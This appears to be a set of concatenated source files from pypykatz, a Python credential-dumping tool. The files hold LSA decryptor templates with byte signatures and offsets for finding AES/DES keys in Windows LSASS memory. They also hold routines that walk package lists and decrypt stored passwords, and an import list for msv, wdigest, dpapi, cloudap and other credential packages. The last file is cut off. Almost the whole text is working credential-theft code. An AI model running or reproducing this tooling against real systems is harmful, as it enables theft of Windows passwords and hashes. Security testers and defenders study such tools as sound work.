7 | from pypykatz.alsadecryptor.win_datatypes import ULONG, PVOID, POINTER | |
8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild | |
9 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
10 | ||
11 | class LsaTemplate_NT6(PackageTemplate): | |
12 | def __init__(self): | |
13 | super().__init__('LSA Decryptor') | |
14 | self.key_pattern = None | |
15 | self.key_handle_struct = None | |
16 | self.key_struct = None | |
17 | self.hard_key_struct = KIWI_HARD_KEY | |
18 | self.nt_major = '6' | |
19 | ||
20 | ||
21 | @staticmethod | |
22 | def get_template_brute(sysinfo): | |
23 | if sysinfo.architecture == KatzSystemArchitecture.X86: | |
24 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: | |
25 | raise Exception('NT 5 is not yet supported!') | |
26 | elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: | |
27 | raise Exception('NT 5 is not yet supported!') | |
28 | else: | |
29 | for key in templates['nt6']['x86']: | |
30 | yield templates['nt6']['x86'][key] | |
31 | ||
32 | elif sysinfo.architecture == KatzSystemArchitecture.X64: | |
33 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: | |
34 | raise Exception('NT 5 is not yet supported!') | |
35 | elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: | |
36 | raise Exception('NT 5 is not yet supported!') | |
37 | else: | |
38 | for key in templates['nt6']['x64']: | |
39 | yield templates['nt6']['x64'][key] | |
40 | ||
41 | ||
42 | @staticmethod | |
43 | def get_template(sysinfo): | |
44 | template = LsaTemplate_NT6() | |
45 | ||
46 | if sysinfo.architecture == KatzSystemArchitecture.X86: | |
47 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: | |
48 | raise Exception("Maybe implemented later") | |
49 | ||
50 | elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: | |
51 | template.nt_major = '5' | |
52 | template = templates['nt5']['x86']['1'] | |
53 | ||
54 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
55 | template = templates['nt6']['x86']['1'] | |
56 | ||
57 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
58 | template = templates['nt6']['x86']['2'] | |
59 | ||
60 | elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
61 | template = templates['nt6']['x86']['3'] | |
62 | ||
63 | elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: | |
64 | template = templates['nt6']['x86']['4'] | |
65 | ||
66 | elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value: | |
67 | template = templates['nt6']['x86']['5'] | |
68 | ||
69 | ||
70 | elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value: | |
71 | template = templates['nt6']['x86']['6'] | |
72 | ||
73 | elif sysinfo.architecture == KatzSystemArchitecture.X64: | |
74 | ||
75 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value: | |
76 | raise Exception("Maybe implemented later") | |
77 | ||
78 | elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value: | |
79 | raise Exception("Maybe implemented later") | |
80 | ||
81 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: | |
82 | template = templates['nt6']['x64']['1'] | |
83 | ||
84 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value: | |
85 | template = templates['nt6']['x64']['2'] | |
86 | ||
87 | elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value: | |
88 | if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value: | |
89 | template = templates['nt6']['x64']['3'] | |
90 | else: | |
91 | template = templates['nt6']['x64']['4'] | |
92 | ||
93 | elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value: | |
94 | template = templates['nt6']['x64']['5'] | |
95 | else: | |
96 | template = templates['nt6']['x64']['6'] | |
97 | ||
98 | else: | |
99 | raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
100 | ||
101 | ||
102 | template.log_template('key_handle_struct', template.key_handle_struct) | |
103 | template.log_template('key_struct', template.key_struct) | |
104 | template.log_template('hard_key_struct', template.hard_key_struct) | |
105 | ||
106 | return template | |
107 | ||
108 | ||
109 | class LSADecyptorKeyPattern: | |
110 | def __init__(self): | |
111 | self.signature = None #byte pattern that identifies the location of the key structures (AES and DES) | |
112 | self.offset_to_IV_ptr = None #offset from pattern that gives the pointer to the IV (applicabe for both keys, kept sepparately from key structures) | |
113 | self.IV_length = None #length of the IV, always 16 from NT6 | |
114 | self.offset_to_AES_key_ptr = None #offset from signature that gives the pointer to the DES key structure | |
115 | self.offset_to_DES_key_ptr = None #offset from signature that gives the pointer to the AES key structure | |
116 | ||
117 | class KIWI_HARD_KEY: | |
118 | def __init__(self): | |
119 | self.cbSecret = None | |
120 | self.data = None | |
121 | ||
122 | @staticmethod | |
123 | async def load(reader): | |
124 | res = KIWI_BCRYPT_KEY() | |
125 | res.cbSecret = await ULONG.loadvalue(reader) | |
126 | res.data = await reader.read(res.cbSecret) | |
127 | return res | |
128 | ||
129 | class KIWI_BCRYPT_KEY: | |
130 | def __init__(self): | |
131 | self.size = None | |
132 | self.tag = None | |
133 | self.type = None | |
134 | self.unk0 = None | |
135 | self.unk1 = None | |
136 | self.unk2 = None | |
137 | self.hardkey = None | |
138 | ||
139 | @staticmethod | |
140 | async def load(reader): | |
141 | res = KIWI_BCRYPT_KEY() | |
142 | res.size = await ULONG.loadvalue(reader) | |
143 | res.tag = await reader.read(4) | |
144 | res.type = await ULONG.loadvalue(reader) | |
145 | res.unk0 = await ULONG.loadvalue(reader) | |
146 | res.unk1 = await ULONG.loadvalue(reader) | |
147 | res.unk2 = await ULONG.loadvalue(reader) | |
148 | res.hardkey = await KIWI_HARD_KEY.load(reader) | |
149 | return res | |
150 | ||
151 | def verify(self): | |
152 | return self.tag == b'KSSM' | |
153 | ||
154 | class KIWI_BCRYPT_KEY8: | |
155 | def __init__(self): | |
156 | self.size = None | |
157 | self.tag = None | |
158 | self.type = None | |
159 | self.unk0 = None | |
160 | self.unk1 = None | |
161 | self.unk2 = None | |
162 | self.unk3 = None | |
163 | #await reader.align() | |
164 | self.unk4 = None | |
165 | self.hardkey = None | |
166 | ||
167 | @staticmethod | |
168 | async def load(reader): | |
169 | res = KIWI_BCRYPT_KEY8() | |
170 | res.size = await ULONG.loadvalue(reader) | |
171 | res.tag = await reader.read(4) # 'MSSK' | |
172 | res.type = await ULONG.loadvalue(reader) | |
173 | res.unk0 = await ULONG.loadvalue(reader) | |
174 | res.unk1 = await ULONG.loadvalue(reader) | |
175 | res.unk2 = await ULONG.loadvalue(reader) | |
176 | res.unk3 = await ULONG.loadvalue(reader) | |
177 | await reader.align() | |
178 | res.unk4 = await PVOID.load(reader) # before, align in x64 | |
179 | res.hardkey = await KIWI_HARD_KEY.load(reader) | |
180 | return res | |
181 | ||
182 | def verify(self): | |
183 | return self.tag == b'KSSM' | |
184 | ||
185 | class KIWI_BCRYPT_KEY81: | |
186 | def __init__(self): | |
187 | self.size = None | |
188 | self.tag = None | |
189 | self.type = None | |
190 | self.unk0 = None | |
191 | self.unk1 = None | |
192 | self.unk2 = None | |
193 | self.unk3 = None | |
194 | self.unk4 = None | |
195 | #await reader.align() | |
196 | self.unk5 = None #before, align in x64 | |
197 | self.unk6 = None | |
198 | self.unk7 = None | |
199 | self.unk8 = None | |
200 | self.unk9 = None | |
201 | self.hardkey = None | |
202 | ||
203 | @staticmethod | |
204 | async def load(reader): | |
205 | res = KIWI_BCRYPT_KEY81() | |
206 | res.size = await ULONG.loadvalue(reader) | |
207 | res.tag = await reader.read(4) # 'MSSK' | |
208 | res.type = await ULONG.loadvalue(reader) | |
209 | res.unk0 = await ULONG.loadvalue(reader) | |
210 | res.unk1 = await ULONG.loadvalue(reader) | |
211 | res.unk2 = await ULONG.loadvalue(reader) | |
212 | res.unk3 = await ULONG.loadvalue(reader) | |
213 | res.unk4 = await ULONG.loadvalue(reader) | |
214 | await reader.align() | |
215 | res.unk5 = await PVOID.load(reader) #before, align in x64 | |
216 | res.unk6 = await ULONG.loadvalue(reader) | |
217 | res.unk7 = await ULONG.loadvalue(reader) | |
218 | res.unk8 = await ULONG.loadvalue(reader) | |
219 | res.unk9 = await ULONG.loadvalue(reader) | |
220 | res.hardkey = await KIWI_HARD_KEY.load(reader) | |
221 | return res | |
222 | ||
223 | def verify(self): | |
224 | return self.tag == b'KSSM' | |
225 | ||
226 | ||
227 | class PKIWI_BCRYPT_KEY(POINTER): | |
228 | def __init__(self): | |
229 | super().__init__() | |
230 | ||
231 | @staticmethod | |
232 | async def load(reader): | |
233 | p = PVOID() | |
234 | p.location = reader.tell() | |
235 | p.value = await reader.read_uint() | |
236 | p.finaltype = KIWI_BCRYPT_KEY | |
237 | return p | |
238 | ||
239 | class KIWI_BCRYPT_HANDLE_KEY: | |
240 | def __init__(self): | |
241 | self.size = None | |
242 | self.tag = None | |
243 | self.hAlgorithm = None | |
244 | self.ptr_key = None | |
245 | self.unk0 = None | |
246 | ||
247 | @staticmethod | |
248 | async def load(reader): | |
249 | res = KIWI_BCRYPT_HANDLE_KEY() | |
250 | res.size = await ULONG.loadvalue(reader) | |
251 | res.tag = await reader.read(4) # 'UUUR' | |
252 | res.hAlgorithm = await PVOID.load(reader) | |
253 | res.ptr_key = await PKIWI_BCRYPT_KEY.load(reader) | |
254 | res.unk0 = await PVOID.load(reader) | |
255 | return res | |
256 | ||
257 | def verify(self): | |
258 | return self.tag == b'RUUU' | |
259 | ||
260 | class LSA_x64_1(LsaTemplate_NT6): | |
261 | def __init__(self): | |
262 | LsaTemplate_NT6.__init__(self) | |
263 | self.key_pattern = LSADecyptorKeyPattern() | |
264 | self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' | |
265 | self.key_pattern.IV_length = 16 | |
266 | self.key_pattern.offset_to_IV_ptr = 63 | |
267 | self.key_pattern.offset_to_DES_key_ptr = -69 | |
268 | self.key_pattern.offset_to_AES_key_ptr = 25 | |
269 | ||
270 | self.key_struct = KIWI_BCRYPT_KEY | |
271 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
272 | ||
273 | class LSA_x64_2(LsaTemplate_NT6): | |
274 | def __init__(self): | |
275 | LsaTemplate_NT6.__init__(self) | |
276 | self.key_pattern = LSADecyptorKeyPattern() | |
277 | self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d' | |
278 | self.key_pattern.IV_length = 16 | |
279 | self.key_pattern.offset_to_IV_ptr = 59 | |
280 | self.key_pattern.offset_to_DES_key_ptr = -61 | |
281 | self.key_pattern.offset_to_AES_key_ptr = 25 | |
282 | ||
283 | self.key_struct = KIWI_BCRYPT_KEY | |
284 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
285 | ||
286 | ||
287 | class LSA_x64_3(LsaTemplate_NT6): | |
288 | def __init__(self): | |
289 | LsaTemplate_NT6.__init__(self) | |
290 | self.key_pattern = LSADecyptorKeyPattern() | |
291 | self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' | |
292 | self.key_pattern.IV_length = 16 | |
293 | self.key_pattern.offset_to_IV_ptr = 62 | |
294 | self.key_pattern.offset_to_DES_key_ptr = -70 | |
295 | self.key_pattern.offset_to_AES_key_ptr = 23 | |
296 | ||
297 | self.key_struct = KIWI_BCRYPT_KEY8 | |
298 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
299 | ||
300 | class LSA_x64_4(LsaTemplate_NT6): | |
301 | def __init__(self): | |
302 | LsaTemplate_NT6.__init__(self) | |
303 | self.key_pattern = LSADecyptorKeyPattern() | |
304 | self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d' | |
305 | self.key_pattern.IV_length = 16 | |
306 | self.key_pattern.offset_to_IV_ptr = 62 | |
307 | self.key_pattern.offset_to_DES_key_ptr = -70 | |
308 | self.key_pattern.offset_to_AES_key_ptr = 23 | |
309 | ||
310 | self.key_struct = KIWI_BCRYPT_KEY81 | |
311 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
312 | ||
313 | class LSA_x64_5(LsaTemplate_NT6): | |
314 | def __init__(self): | |
315 | LsaTemplate_NT6.__init__(self) | |
316 | self.key_pattern = LSADecyptorKeyPattern() | |
317 | self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' | |
318 | self.key_pattern.IV_length = 16 | |
319 | self.key_pattern.offset_to_IV_ptr = 61 | |
320 | self.key_pattern.offset_to_DES_key_ptr = -73 | |
321 | self.key_pattern.offset_to_AES_key_ptr = 16 | |
322 | ||
323 | self.key_struct = KIWI_BCRYPT_KEY81 | |
324 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
325 | ||
326 | class LSA_x64_6(LsaTemplate_NT6): | |
327 | def __init__(self): | |
328 | LsaTemplate_NT6.__init__(self) | |
329 | self.key_pattern = LSADecyptorKeyPattern() | |
330 | self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15' | |
331 | self.key_pattern.IV_length = 16 | |
332 | self.key_pattern.offset_to_IV_ptr = 67 | |
333 | self.key_pattern.offset_to_DES_key_ptr = -89 | |
334 | self.key_pattern.offset_to_AES_key_ptr = 16 | |
335 | ||
336 | self.key_struct = KIWI_BCRYPT_KEY81 | |
337 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
338 | ||
339 | class LSA_x86_1(LsaTemplate_NT6): | |
340 | def __init__(self): | |
341 | LsaTemplate_NT6.__init__(self) | |
342 | self.key_pattern = LSADecyptorKeyPattern() | |
343 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
344 | self.key_pattern.IV_length = 16 | |
345 | self.key_pattern.offset_to_IV_ptr = 5 | |
346 | self.key_pattern.offset_to_DES_key_ptr = -76 | |
347 | self.key_pattern.offset_to_AES_key_ptr = -21 | |
348 | ||
349 | self.key_struct = KIWI_BCRYPT_KEY | |
350 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
351 | ||
352 | class LSA_x86_2(LsaTemplate_NT6): | |
353 | def __init__(self): | |
354 | LsaTemplate_NT6.__init__(self) | |
355 | self.key_pattern = LSADecyptorKeyPattern() | |
356 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
357 | self.key_pattern.IV_length = 16 | |
358 | self.key_pattern.offset_to_IV_ptr = 5 | |
359 | self.key_pattern.offset_to_DES_key_ptr = -76 | |
360 | self.key_pattern.offset_to_AES_key_ptr = -21 | |
361 | ||
362 | self.key_struct = KIWI_BCRYPT_KEY | |
363 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
364 | ||
365 | class LSA_x86_3(LsaTemplate_NT6): | |
366 | def __init__(self): | |
367 | LsaTemplate_NT6.__init__(self) | |
368 | self.key_pattern = LSADecyptorKeyPattern() | |
369 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
370 | self.key_pattern.IV_length = 16 | |
371 | self.key_pattern.offset_to_IV_ptr = 5 | |
372 | self.key_pattern.offset_to_DES_key_ptr = -69 | |
373 | self.key_pattern.offset_to_AES_key_ptr = -18 | |
374 | ||
375 | self.key_struct = KIWI_BCRYPT_KEY8 | |
376 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
377 | ||
378 | class LSA_x86_4(LsaTemplate_NT6): | |
379 | def __init__(self): | |
380 | LsaTemplate_NT6.__init__(self) | |
381 | self.key_pattern = LSADecyptorKeyPattern() | |
382 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
383 | self.key_pattern.IV_length = 16 | |
384 | self.key_pattern.offset_to_IV_ptr = 5 | |
385 | self.key_pattern.offset_to_DES_key_ptr = -69 | |
386 | self.key_pattern.offset_to_AES_key_ptr = -18 | |
387 | ||
388 | self.key_struct = KIWI_BCRYPT_KEY81 | |
389 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
390 | ||
391 | class LSA_x86_5(LsaTemplate_NT6): | |
392 | def __init__(self): | |
393 | LsaTemplate_NT6.__init__(self) | |
394 | self.key_pattern = LSADecyptorKeyPattern() | |
395 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
396 | self.key_pattern.IV_length = 16 | |
397 | self.key_pattern.offset_to_IV_ptr = 5 | |
398 | self.key_pattern.offset_to_DES_key_ptr = -79 | |
399 | self.key_pattern.offset_to_AES_key_ptr = -22 | |
400 | ||
401 | self.key_struct = KIWI_BCRYPT_KEY81 | |
402 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
403 | ||
404 | class LSA_x86_6(LsaTemplate_NT6): | |
405 | def __init__(self): | |
406 | LsaTemplate_NT6.__init__(self) | |
407 | ||
408 | self.key_pattern = LSADecyptorKeyPattern() | |
409 | self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68' | |
410 | self.key_pattern.IV_length = 16 | |
411 | self.key_pattern.offset_to_IV_ptr = 5 | |
412 | self.key_pattern.offset_to_DES_key_ptr = -79 | |
413 | self.key_pattern.offset_to_AES_key_ptr = -22 | |
414 | ||
415 | self.key_struct = KIWI_BCRYPT_KEY81 | |
416 | self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY | |
417 | ||
418 | ||
419 | ||
420 | templates = { | |
421 | 'nt6' : { | |
422 | 'x64' : { | |
423 | '1' : LSA_x64_1(), | |
424 | '2' : LSA_x64_2(), | |
425 | '3' : LSA_x64_3(), | |
426 | '4' : LSA_x64_4(), | |
427 | '5' : LSA_x64_5(), | |
428 | '6' : LSA_x64_6(), | |
429 | }, | |
430 | 'x86': { | |
431 | '1' : LSA_x86_1(), | |
432 | '2' : LSA_x86_2(), | |
433 | '3' : LSA_x86_3(), | |
434 | '4' : LSA_x86_4(), | |
435 | '5' : LSA_x86_5(), | |
436 | '6' : LSA_x86_6(), | |
437 | } | |
438 | } | |
439 | }⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ||
7 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild | |
8 | from pypykatz.alsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 | |
9 | from pypykatz.alsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 | |
10 | ||
11 | class LsaTemplate: | |
12 | def __init__(self): | |
13 | pass | |
14 | ||
15 | ||
16 | @staticmethod | |
17 | def get_template_brute(sysinfo): | |
18 | if sysinfo.architecture == KatzSystemArchitecture.X86: | |
19 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
20 | return LsaTemplate_NT5.get_template_brute(sysinfo) | |
21 | else: | |
22 | return LsaTemplate_NT6.get_template_brute(sysinfo) | |
23 | ||
24 | elif sysinfo.architecture == KatzSystemArchitecture.X64: | |
25 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
26 | return LsaTemplate_NT5.get_template_brute(sysinfo) | |
27 | else: | |
28 | return LsaTemplate_NT6.get_template_brute(sysinfo) | |
29 | ||
30 | ||
31 | @staticmethod | |
32 | def get_template(sysinfo): | |
33 | if sysinfo.architecture == KatzSystemArchitecture.X86: | |
34 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
35 | return LsaTemplate_NT5.get_template(sysinfo) | |
36 | else: | |
37 | return LsaTemplate_NT6.get_template(sysinfo) | |
38 | ||
39 | elif sysinfo.architecture == KatzSystemArchitecture.X64: | |
40 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
41 | return LsaTemplate_NT5.get_template(sysinfo) | |
42 | else: | |
43 | return LsaTemplate_NT6.get_template(sysinfo)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from abc import ABC, abstractmethod | |
7 | import logging | |
8 | from pypykatz.commons.common import hexdump | |
9 | from pypykatz.alsadecryptor.win_datatypes import RTL_AVL_TABLE | |
10 | ||
11 | class Logger: | |
12 | def __init__(self, module_name, package_name, sysinfo): | |
13 | self.package_name = package_name | |
14 | self.module_name = module_name | |
15 | self.sysinfo = sysinfo | |
16 | self.logger = logging.getLogger('pypykatz') | |
17 | ||
18 | def get_level(self): | |
19 | return self.logger.getEffectiveLevel() | |
20 | ||
21 | def log(self, msg, loglevel = 1): | |
22 | first = True | |
23 | for line in msg.split('\n'): | |
24 | if first == True: | |
25 | self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line)) | |
26 | first = False | |
27 | else: | |
28 | self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line)) | |
29 | ||
30 | class PackageTemplate: | |
31 | def __init__(self, package_name, sysinfo = None): | |
32 | self.logger = Logger('template', package_name, sysinfo) | |
33 | self.package_name = package_name | |
34 | self.sysinfo = sysinfo | |
35 | ||
36 | def log(self, msg, loglevel = 6): | |
37 | self.logger.log(loglevel, '%s' % msg) | |
38 | ||
39 | def log_template(self, struct_var_name, struct_template_obj, loglevel = 6): | |
40 | """" | |
41 | Generic logging function to show which template was selected for which structure | |
42 | """ | |
43 | self.logger.log('Selecting template for %s: %s' % (struct_var_name, struct_template_obj.__name__), loglevel) | |
44 | ||
45 | ||
46 | @staticmethod | |
47 | @abstractmethod | |
48 | def get_template(sysinfo): | |
49 | pass | |
50 | ||
51 | ||
52 | class PackageDecryptor: | |
53 | def __init__(self, package_name, lsa_decryptor, sysinfo, reader): | |
54 | self.logger = Logger('decryptor', package_name, sysinfo) | |
55 | self.package_name = package_name | |
56 | self.lsa_decryptor = lsa_decryptor | |
57 | self.sysinfo = sysinfo | |
58 | self.reader = reader | |
59 | ||
60 | def log(self, msg, loglevel = 6): | |
61 | self.logger.log('%s' % msg, loglevel) | |
62 | ||
63 | async def find_signature(self, module_name, signature): | |
64 | """ | |
65 | Searches for a sequence of bytes in the module identified by module_name | |
66 | """ | |
67 | self.log('Searching for key struct signature') | |
68 | fl = await self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True) | |
69 | if len(fl) == 0: | |
70 | raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex())) | |
71 | return fl[0] | |
72 | ||
73 | async def log_ptr(self, ptr, name, datasize = None): | |
74 | """ | |
75 | Reads datasize bytes from the memory region pointed by the pointer. | |
76 | ptr = the pointer to be read | |
77 | name = display name for the memory structure, usually the data structure's name the pointer is pointing at | |
78 | """ | |
79 | level = self.logger.get_level() | |
80 | if level > 6 or level == 0: | |
81 | return | |
82 | ||
83 | if not datasize: | |
84 | if level == 5: | |
85 | datasize = 0x10 | |
86 | if level == 4: | |
87 | datasize = 0x20 | |
88 | if level == 3: | |
89 | datasize = 0x50 | |
90 | if level == 2: | |
91 | datasize = 0x100 | |
92 | if level == 1: | |
93 | datasize = 0x200 | |
94 | ||
95 | pos = self.reader.tell() | |
96 | try: | |
97 | await self.reader.move(ptr) | |
98 | data = await self.reader.peek(datasize) | |
99 | await self.reader.move(pos) | |
100 | self.log('%s: %s\n%s' % (name, hex(ptr), hexdump(data, start = ptr))) | |
101 | except Exception as e: | |
102 | self.log('%s: Logging failed for position %s' % (name, hex(ptr))) | |
103 | ||
104 | def decrypt_password(self, enc_password, bytes_expected = False, trim_zeroes = True): | |
105 | """ | |
106 | Common decryption method for LSA encrypted passwords. Result be string or hex encoded bytes (for machine accounts). | |
107 | Also supports bad data, as orphaned credentials may contain actual password OR garbage | |
108 | ||
109 | enc_password: bytes The encrypted password bytes | |
110 | bytes_expected: bool :indication that the result of decryption is bytes, no need for encoding | |
111 | trim_zeroes: bool: if a text is expected then this variable tells wether we should trim the trailing zeroes after decryption | |
112 | """ | |
113 | ||
114 | dec_password = None | |
115 | temp = self.lsa_decryptor.decrypt(enc_password) | |
116 | if temp and len(temp) > 0: | |
117 | if bytes_expected == False: | |
118 | try: # normal password | |
119 | dec_password = temp.decode('ascii') | |
120 | except: # machine password | |
121 | try: | |
122 | dec_password = temp.decode('utf-8') | |
123 | except: | |
124 | try: | |
125 | dec_password = temp.decode('utf-16-le') | |
126 | except: | |
127 | dec_password = temp.hex() | |
128 | else: # if not machine password, then check if we should trim it | |
129 | if trim_zeroes == True: | |
130 | dec_password = dec_password.rstrip('\x00') | |
131 | else: | |
132 | dec_password = temp | |
133 | ||
134 | return dec_password | |
135 | ||
136 | async def walk_avl(self, node_ptr, result_ptr_list): | |
137 | """ | |
138 | Walks the AVL tree, extracts all OrderedPointer values and returns them in a list | |
139 | node_ptr: POINTER : the Parent->RightChild pointer in the AVL tree | |
140 | result_ptr_list: list: the list to store the results in | |
141 | """ | |
142 | node = await node_ptr.read(self.reader, override_finaltype = RTL_AVL_TABLE) | |
143 | if node is None: | |
144 | self.log('AVL walker found empty tree') | |
145 | return | |
146 | if node.OrderedPointer.value != 0: | |
147 | result_ptr_list.append(node.OrderedPointer.value) | |
148 | if node.BalancedRoot.LeftChild.value != 0 : | |
149 | await self.walk_avl(node.BalancedRoot.LeftChild, result_ptr_list) | |
150 | if node.BalancedRoot.RightChild.value != 0 : | |
151 | await self.walk_avl(node.BalancedRoot.RightChild, result_ptr_list) | |
152 | ||
153 | async def walk_list(self, entry_ptr, callback, max_walk = 255, override_ptr = None): | |
154 | """ | |
155 | Iterating over a linked list. Linked lists in packages are circural, so the end of the list is tested is the Flink is pointing to an address already seen. | |
156 | ||
157 | entry_ptr = pointer type object the will yiled the first entry when called read() | |
158 | callback = function that will be called when a new entry is found. callback method will be invoked with one parameter, the entry itself | |
159 | ||
160 | max_walk = limit the amount of entries to be iterating | |
161 | override_ptr = if this parameter is set the pointer will be resolved as if it would be pointing to this structure | |
162 | """ | |
163 | ||
164 | #if entry_ptr.value == 0: | |
165 | # self.log('walk_list called with a NULL pointer! This could mean that parsing is failing, double check this!') | |
166 | # return | |
167 | ||
168 | entries_seen = {} | |
169 | entries_seen[entry_ptr.location] = 1 | |
170 | max_walk = max_walk | |
171 | await self.log_ptr(entry_ptr.value, 'List entry -%s-' % entry_ptr.finaltype.__name__ if not override_ptr else override_ptr.__name__) | |
172 | while True: | |
173 | if override_ptr: | |
174 | entry = await entry_ptr.read(self.reader, override_ptr) | |
175 | else: | |
176 | entry = await entry_ptr.read(self.reader) | |
177 | ||
178 | if not entry: | |
179 | break | |
180 | ||
181 | await callback(entry) | |
182 | ||
183 | ||
184 | ||
185 | max_walk -= 1 | |
186 | self.log('%s next ptr: %x' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value)) | |
187 | self.log('%s seen: %s' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value not in entries_seen)) | |
188 | self.log('%s max_walk: %d' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , max_walk)) | |
189 | if entry.Flink.value != 0 and entry.Flink.value not in entries_seen and max_walk != 0: | |
190 | entries_seen[entry.Flink.value] = 1 | |
191 | await self.log_ptr(entry.Flink.value, 'Next list entry -%s-' % entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__) | |
192 | entry_ptr = entry.Flink | |
193 | else: | |
194 | break | |
195 | ||
196 | ||
197 | ⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from .credman.templates import * | |
7 | from .dpapi.templates import * | |
8 | from .dpapi.decryptor import * | |
9 | #from .kerberos.templates import * | |
10 | #from .kerberos.decryptor import * | |
11 | from .livessp.templates import * | |
12 | from .livessp.decryptor import * | |
13 | from .msv.templates import * | |
14 | from .msv.decryptor import * | |
15 | from .ssp.templates import * | |
16 | from .ssp.decryptor import * | |
17 | from .tspkg.templates import * | |
18 | from .tspkg.decryptor import * | |
19 | from .wdigest.templates import * | |
20 | from .wdigest.decryptor import * | |
21 | from .cloudap.templates import * | |
22 | from .cloudap.decryptor import * | |
23 | ||
24 | __credman__ = ['CredmanTemplate'] | |
25 | __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential'] | |
26 | #__kerberos__ = ['KerberosTemplate','KerberosDecryptor'] | |
27 | __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential'] | |
28 | __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential'] | |
29 | __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential'] | |
30 | __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential'] | |
31 | __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential'] | |
32 | __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential'] | |
33 | ||
34 | ||
35 | #__kerberos__ | |
36 | __all__ = __cloudap__ + __credman__ + __dpapi__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__⏎ |
0 | import json | |
1 | import hashlib | |
2 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
3 | ||
4 | class CloudapCredential: | |
5 | def __init__(self): | |
6 | self.credtype = 'cloudap' | |
